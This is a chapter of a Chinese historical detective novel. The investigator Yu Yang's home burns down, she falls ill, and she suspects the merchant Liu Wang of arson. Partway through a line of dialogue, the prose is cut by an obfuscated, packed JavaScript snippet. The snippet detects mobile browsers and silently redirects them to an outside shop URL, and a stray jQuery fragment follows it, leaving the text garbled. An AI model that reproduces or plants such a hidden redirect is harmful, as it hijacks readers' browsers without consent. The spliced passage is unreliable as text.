烈火烧了一个时辰,直至将整间屋子化为灰烬,火势才被控制下来。

    好在隔壁的房屋并未受到波及。

    会云留在医馆,由青鹊照料,孙妙将喻扬带回了她们家中。

    她取出一床新的被褥,为她铺好:“你啊也别担心了,会云只是吸入过多烟灰才会晕倒,既然没有受伤,约莫明日便能醒了。我听说你这几日忙着查案,还是好好休息,莫多想了。”

    说话间,孙妙回头望了眼喻扬。她正坐在门边小几上,神情恍惚,也不知是否听见了她的话。

    “对了,我记得你不是领回一个乞儿?他人呢?”

    门口之人仍未回应。

    孙妙无声叹了口气,又出门为她热了碗面汤。

    “喻司直,吃点吧。”

    喻扬的右手正搭在左手腕间,指尖似有似无地抚过腕间纤细的红绳。

    孙妙扫了一眼,随即坐在门槛上。

    “事情已经发生了,你能救下会云已尽最大的力,莫要伤心了。人不过肉体凡胎,你这样不吃不喝,身体会垮的。”她伸手拽了拽喻扬的袖子。

    喻扬终于回神,慢慢扭过头看她。良久后,她才缓缓开口:“我无事,你不必担心我。”

    “那你快将这碗热汤吃了吧。”孙妙将双手捧着碗,送到她面前。

    “我不饿,你吃吧。”

    “这样啊,那喻司直可以和我讲讲你在想什么吗?”

    面对孙妙的关切,喻扬扯了扯嘴角,抚上她的手:“我在想,烧我房屋的人究竟是谁。”

    孙妙诧异:“你的意思是有人故意放的火?”

    “会云与虎子都在家中,若是他们不慎点了火,定能及时灭掉。而且,火势在短短时间内蔓延迅速,很难不怀疑是有人刻意为之。”

    孙妙听着她的分析,随之点了点头,却又听见她轻细的嘟囔声。

    “若是……不在盛京便好了……”

    “什么?”孙妙问道。

    喻扬摆了摆头,只道没什么,继而转头冲她笑了笑:“今夜多谢你和青鹊了,现在天色已晚,你快些去歇着吧。”

    孙妙起身,却执意伸手将喻扬也拉了起来:“你也早点睡吧!”

    孙妙与青鹊租下的这间院子比喻扬的还大些,西面有间侧屋,用作厨房。主屋十分宽敞,东西两个小间各用一道纱帘隔出她们二人的专属之地。正屋中间一左一右摆着两张书案,书案一侧俱放置一个木架,架上整理摆放着书籍。

    只是两张书案风格十分明显。左侧那张书案上摆着未收拾干净的草药,右侧书案的角落放置着验尸工具。

    喻扬一眼扫过便分清了她们的书案是哪张。

    “城内民居失火,官府是会有救济的。虽然不多,但至少能挽回点损失。在你们找到新的房子前,便住我们这儿吧,大家都为女子,没什么的,只是你收留的那个乞儿……”

    孙妙话音骤顿,喻扬自然也明白她的意思。早在随孙妙回来时,她便将虎子拜托给了蒋弋。

    反正虎子向祁归求了恩典,待有了户籍他便可在城中寻个差事做,届时便有了去路。左右不过几天时间,蒋弋也不在乎。

    四更天刚过,喻扬浑浑噩噩地醒来。在满室黑暗中,她撑了撑眼皮,却觉身体昏昏沉沉,筋骨酸痛,太阳穴边的青筋更是剧痛不止。

    她心中大约猜得到自己是发了热,但此时夜深人静,她未吵醒孙妙,而是闭上眼,又在浑浑噩噩中睡了过去。

    不过一个时辰,她又清醒过来。孙妙已经起了,正在厨房内熬粥,见到喻扬走出屋门,她及时扬声唤她:“喻司直,你起了!哎呀你脸色怎么这么难看?”

    孙妙的目光自她苍白的脸色划过,担忧地问道。

    浑身滚烫,烧得她意识混乱,她摆了摆手,“我想去医馆看看,能否麻烦你替我去百庚司告个假?”

    孙妙自然应下。

    喻扬道了声谢,便脚步轻飘飘地向青鹊的“向清医馆”而去。

    刚走出巷口,踏上福安大街,眼前骤然出现一辆疾驰的马车。

    她尚在病中的注意力迟钝,脚步便慢了一步,眼见那马就要踏来,车夫眼疾手快,技术娴熟地勒停了马。

    马车猛烈一晃,受了惊的喻扬与车夫都未来得及说上一句话,便听车厢内一道声音骂骂咧咧地撩开车帘。

    “你怎么驾的车?不长眼啊?”

    “实在抱歉这位爷,这巷子内突然窜出一个女子,幸得勒马及时,才避免了祸事。”

    车内之人脸色阴沉,顺着车夫所指方向看去,只见一个女子晃晃悠悠,拐进了一间医馆。

    “大清早真是晦气!快些走,若是误了爷的差事,爷扒了你的皮!”

    将那吵闹的声音抛在身后,喻扬脚步虚浮地撞入医馆,门扇发出“哐当”一声巨响。

    青鹊才将苏醒的会云搀扶起来,便被身后的撞击声惊了一跳。她回头望去,只见病殃殃的喻扬正扒在门边,眼神恍惚地向里望。

    “喻司直!这是怎么了?”青鹊上前接过她摇摇晃晃的身子,在接触她皮肤的瞬间,却被灼热的温度烫了一下,连忙将人扶进了里屋。

    “阿姐!”会云身体还十分虚弱,见到喻扬这幅样子时,忍不住撑着身子将要下榻。

    青鹊独自撑着喻扬大半个身子,眼见她乱动,连忙伸手阻止:“不准动!你们这一个两个的,都给我躺好!”

    喻扬刚躺下便陷入昏迷,青鹊为她把完脉后,抓药煎药,又给她肩头的伤口换了药。

    孙妙前往百庚司帮喻扬告假,一去一回天色已大亮。她将熬好的粥送往医馆,一进门便委屈地靠到青鹊身上。

    “怎么了?谁欺负你了?”

    孙妙每回受了委屈,便会这样撅着嘴生闷气。

    “方才在街上遇到个泼皮无赖!我不过是不慎碰到了他,便囔囔着说我碰坏了他的千金绸,要我赔他钱!”

    “然后呢?”青鹊顺手接过她手中的食盒,盛了碗热粥递给会云,听着她的抱怨,问道。

    “他狮子大开口便要一百两白银!一百两,哼,都能买他命了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772661|209947||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !”

    “说什么呢!”青鹊瞪了她一眼,示意她莫要胡说。

    孙妙愤懑不满地扯着袖口,又道:“我不是傻子,我不赔,他就拉拉扯扯不让我走!若不是陆姑娘经过替我解围,我恐怕要与那无赖闹到官府去!”

    “好啦,你生气伤的是自己的身体,何必与这种无赖计较?”

    孙妙心中仍有几分不服气,但转头看到喻扬与会云二人双双躺在病榻上,不由叹了口气:“这二人真是无妄之灾!方才我去百庚司,听见那几个司卫说柳望抓到了,但揽了一切罪责。”

    她话说至一半,忽地凑到青鹊面前,压低声音道:“青鹊姐姐,你说奇不奇怪?我听人说那柳家二房是庶出,柳望还是私生子,这柳家怎会将如此多产业都交由他打理?”

    青鹊一边搅动着碗里的热粥,一边回应:“或许……能者多劳吧……”

    她话中带着些许讽刺。

    柳望为招揽万香楼的生意,敢违反朝廷禁令使用迷砂草,实非人哉!

    “就是不知,这柳家与魏家是连襟,朝廷会如何判决。”

    “好了,这也非你我能议论的。你若闲着,帮我把那些药材归入账中吧。”青鹊微微笑着,指了指她身后今早刚买入手的药材。

    “好,好!我来替姐姐整理!”

    直至午后,喻扬才缓缓清醒过来。

    她当一睁眼,便有三双眼睛映入她眼中。

    “你醒了!”

    “阿姐你终于醒了!”

    孙妙与会云一左一右围着她,见她醒来,立即惊声大叫一声。青鹊默默地为她诊脉,却被她的脉象一惊,她细细诊过后,轻声笑了起来:“喻司直这身子骨硬朗,一帖药下去就好了。”

    “你饿了吗?这炉子上还温着碗粥,你快趁热喝了吧!”说着,孙妙将粥递到她面前。

    “多谢。”喻扬道谢,接过了碗。

    门口处传来一声叩门声,青鹊闻声掀帘而出,紧接着便听来人的声音:“听闻喻司直病了,我来探望她。”

    是蒋弋的声音。

    她下榻向外屋走,青鹊正欲进来向她传话,两人目光对视过后,默契地错开。

    “蒋弋。”

    “喻司直!你还好吗?”蒋弋见到喻扬,欣喜地上前两步,将她略剩病色的脸细细打量一遍。

    “我无事。你怎么来了?”

    “哦,这不是昨日柳家的铺子还未查完,今日我查到旁边的酒肆,便想着来看看你。”

    喻扬听着,点了点头:“查得如何了?”

    “还未查完。但是柳望抓到了,祁司使和秦副使审讯了半日,他嘴硬得很!”

    喻扬垂眸沉思了片刻,决定道:“我与你一道儿去吧。”

    “喻司直既在病中,还是先休息吧。这差事又不会跑,总会干完的!”

    理是这么个理儿,但是……喻扬只想趁早解决这个案子……

    昨夜那把火,怕是与柳望脱不了干系。她非圣人,她身上的伤、被烧毁的房子,她都会一一讨回来……